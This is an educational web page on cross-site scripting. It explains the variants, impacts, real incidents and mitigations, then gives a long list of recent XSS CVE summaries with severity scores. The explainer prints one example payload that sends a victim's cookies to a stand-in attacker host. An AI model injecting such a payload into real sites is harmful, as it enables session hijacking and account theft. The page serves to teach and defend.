Skip to main content

Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39009)

EPSS 0% CVSS 6.4
MEDIUM This Month

The PowerPress Podcasting plugin by Blubrry plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'skipto' shortcode in all versions up to, and including, 11.9.18 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The PublishPress Revisions: Duplicate Posts, Submit, Approve and Schedule Content Changes plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Embed videos and respect privacy plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'v' parameter in all versions up to, and including, 1.2 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Download Plugins and Themes in ZIP from Dashboard plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Tainacan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Tainacan
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The FULL - Cliente plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate escaping on the URL in all versions up. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Ultimate Post Grid plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wpupg-grid-with-filters shortcode in all versions up to, and including, 3.9.3 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

Gradio is an open-source Python package designed for quick prototyping. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Python Gradio
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in SourceCodester Record Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Record Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in Craig Rodway Classroombookings 2.8.7 and classified as problematic. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Classroombookings
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in Craig Rodway Classroombookings up to 2.8.6 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Classroombookings
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in code-projects Blood Bank System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Blood Bank System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability was found in code-projects Blood Bank Management System 1.0. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Blood Bank System
NVD GitHub VulDB
EPSS 0% CVSS 5.3
MEDIUM POC This Month

A vulnerability has been found in SourceCodester Profile Registration without Reload Refresh 1.0 and classified as problematic. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Profile Registration Without Reload Refresh
NVD GitHub VulDB
EPSS 1% CVSS 5.1
MEDIUM This Month

A vulnerability classified as problematic has been found in D-Link DSL-2750U R5B017. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

D-Link XSS Dsl 2750U Firmware
NVD VulDB
EPSS 2% CVSS 5.4
MEDIUM This Month

A cross-site scripting issue has been discovered in GitLab affecting all versions starting from 17.1 prior 17.2.9, starting from 17.3 prior to 17.3.5, and starting from 17.4 prior to 17.4.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Gitlab XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin attacker to inject. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Commerce +2
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Adobe XSS Commerce +2
NVD
EPSS 1% CVSS 8.1
HIGH PATCH This Week

Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by a Cross-Site Scripting (XSS) vulnerability that could be exploited to execute arbitrary code. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE Adobe XSS +3
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Advanced Blocks Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.0 due to insufficient input sanitization and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Advanced Blocks Pro
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The WP Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.0.7 due to insufficient input sanitization and output. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Wp Builder
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Products, Order & Customers Export for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg & remove_query_arg without appropriate. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Products Order Customers Export For Woocommerce
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Maximum Products per User for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Maximum Products Per User For Woocommerce
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The GDPR-Extensions-com - Consent Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Consent Manager
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Marketing and SEO Booster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.9.10 due to insufficient input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Marketing And Seo Booster
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Elementor Inline SVG plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.2.0 due to insufficient input sanitization and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Elementor Inline Svg
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Curator.io: Show all your social media posts in a beautiful feed. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Curator Io
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Youzify - BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's youzify_media. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Youzify
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Easy Social Share Buttons plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Easy Social Share Buttons
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in LemonLDAP::NG before 2.19.3 allows remote attackers to inject arbitrary web script or HTML into the login page via a username if userControl has been set. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Lemonldap
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

VMware NSX contains a content spoofing vulnerability. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Information Disclosure XSS VMware
NVD
EPSS 0% CVSS 6.0
MEDIUM This Month

IncidentReporting is a MediaWiki extension for moving incident reports from wikitext to database tables. Rated medium severity (CVSS 6.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS
NVD GitHub
EPSS 0% CVSS 6.0
MEDIUM This Month

ImportDump is an extension for mediawiki designed to automate user import requests. Rated medium severity (CVSS 6.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 7.0
HIGH This Week

A reflected XSS vulnerability in Palo Alto Networks Expedition enables execution of malicious JavaScript in the context of an authenticated Expedition user's browser if that user clicks on a. Rated high severity (CVSS 7.0), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Paloalto Expedition
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

PHPGurukul Hospital Management System 4.0 is vulnerable to Cross Site Scripting (XSS) via the patname, pataddress, and medhis parameters in doctor/add-patient.php and doctor/edit-patient.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Hospital Management System
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Embed PDF Viewer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'height' and 'width' parameters in all versions up to, and including, 2.4.4 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Auto iFrame plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' parameter in all versions up to, and including, 1.7 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Photo Gallery by 10Web WordPress plugin before 1.8.28 does not properly sanitise and escape some of its Gallery settings, which could allow high privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Photo Gallery
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM This Month

The CMSMasters Content Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's multiple shortcodes in all versions up to, and including, 1.8.8 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

PublicCMS V4.0.202406.d was discovered to contain a cross-site scripting (XSS) vulnerability via a crafted script to the Category Managment feature. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Publiccms
NVD GitHub
EPSS 1% CVSS 4.7
MEDIUM PATCH This Month

Power BI Report Server Spoofing Vulnerability. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Power Bi Report Server
NVD
EPSS 44% CVSS 8.1
HIGH KEV PATCH THREAT This Week

Windows MSHTML Platform Spoofing Vulnerability. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Windows 10 1507 +13
NVD
EPSS 2% CVSS 8.8
HIGH PATCH This Week

Power BI Report Server Spoofing Vulnerability. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Power Bi Report Server
NVD
EPSS 0% CVSS 8.7
HIGH This Week

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Payara Platform Payara Server (Admin Console modules) allows Remote Code Inclusion.20.0. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable. No vendor patch available.

XSS Payara
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In JetBrains TeamCity before 2024.07.3 stored XSS was possible via server global settings. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In JetBrains TeamCity before 2024.07.3 stored XSS was possible in Backup configuration settings. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘url’ parameter in all versions up to, and including, 1.3.982 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Royal Elementor Addons
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The BuddyPress Docs plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of remove_query_arg without appropriate escaping on the URL in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

The Survey Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Survey fields in all versions up to, and including, 4.9.7 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Survey Maker
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WooCommerce Multilingual & Multicurrency with WPML plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy Mega Menu Plugin for WordPress - ThemeHunk plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘themehunk_megamenu_bg_image' parameter in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Image Optimizer, Resizer and CDN - Sirv plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 7.2.9 due to insufficient. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Sirv
NVD
EPSS 1% CVSS 5.1
MEDIUM This Month

Cross Site Scripting vulnerability in Follet School Solutions Destiny before v22.0.1 AU1 allows a remote attacker to run arbitrary client-side code via the expiredSupportMessage parameter of. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Bridge Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'formforall' shortcode in versions up to, and including, 3.2.0 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC This Month

In the process of testing the Relevanssi WordPress plugin before 4.23.1, a vulnerability was found that allows you to implement Stored XSS on behalf of the Contributor+ by embedding malicious script,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Relevanssi
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Custom Twitter Feeds WordPress plugin before 2.2.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Command Injection +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

SAP NetWeaver Enterprise Portal (KMC) does not sufficiently encode user-controlled inputs, resulting in Cross-Site Scripting vulnerability in KMC servlet. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Netweaver Enterprise Portal
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

SAP Commerce Backoffice does not sufficiently encode user controlled inputs, resulting in Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Commerce Backoffice
NVD
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

Lara-zeus Dynamic Dashboard simple way to manage widgets for your website landing page, and filament dashboard and Lara-zeus artemis is a collection of themes for the lara-zeus ecosystem. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

WikiDiscover is an extension designed for use with a CreateWiki managed farm to display wikis. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Wikidiscover
NVD GitHub
EPSS 0% CVSS 5.3
MEDIUM PATCH This Month

CreateWiki is an extension used at Miraheze for requesting & creating wikis. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Createwiki
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Discourse is an open source platform for community discussion. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Discourse
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

InvenTree is an Open Source Inventory Management System. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Inventree
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Phpspreadsheet
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Phpspreadsheet
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability in Elaine's Realtime CRM Automation v6.18.17 allows attackers to execute arbitrary JavaScript code in the web browser of a user via injecting a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP
NVD Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

itsourcecode Placement Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via the Full Name field in registration.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Placement Management System
NVD GitHub
EPSS 3% CVSS 8.4
HIGH POC This Week

Teedy 1.11 is vulnerable to Cross Site Scripting (XSS) via the management console. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Teedy
NVD GitHub Exploit-DB
EPSS 0% CVSS 4.8
MEDIUM POC This Month

Krayin CRM v1.3.0 is vulnerable to Cross Site Scripting (XSS) via the organization name field in /admin/contacts/organizations/edit/2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Krayin Crm
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross Site Scripting vulnerability in LimeSurvey before 6.5.0+240319 allows a remote attacker to execute arbitrary code via a lack of input validation and output encoding in the Alert Widget's. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Limesurvey
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross Site Scripting vulnerability in LimeSurvey before 6.5.12+240611 allows a remote attacker to execute arbitrary code via a crafted script to the title and comment fields. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Limesurvey
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in SOPlanning <1.45, due to lack of proper validation of user input via /soplanning/www/process/groupe_save.php, in the groupe_id parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Soplanning
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in SOPlanning <1.45, due to lack of proper validation of user input via /soplanning/www/process/xajax_server.php, affecting multiple parameters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Soplanning
NVD
EPSS 0% CVSS 6.6
MEDIUM This Month

OnlineNewsSite v1.0 is vulnerable to Cross Site Scripting (XSS) which allows attackers to execute arbitrary code via the Title and summary fields in the /admin/post/edit/ endpoint. Rated medium severity (CVSS 6.6), this vulnerability is low attack complexity. No vendor patch available.

Code Injection XSS RCE
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager versions 6.5.20 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low-privileged attacker to inject malicious scripts. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Axton WP-WebAuthn wp-webauthn allows Stored XSS.3.1. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in plainware ShiftController Employee Shift Scheduling shiftcontroller allows Stored XSS.9.64. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Travel WP Travel wp-travel allows Stored XSS.3.1. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in magepeopleteam Multipurpose Ticket Booking Manager bus-booking-manager allows Stored XSS.2.2. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Pierre Lebedel Kodex Posts likes kodex-posts-likes allows Stored XSS.5.0. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Atawai Gum Elementor Addon gum-elementor-addon allows Stored XSS.3.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nicheaddons Primary Addon for Elementor primary-addon-for-elementor allows Stored XSS.5.7. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD VulDB
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in nicheaddons Restaurant & Cafe Addon for Elementor restaurant-cafe-addon-for-elementor allows. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Elementor
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in David Garlitz viala viala allows Reflected XSS.3.1. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD
EPSS 0% CVSS 7.1
HIGH This Week

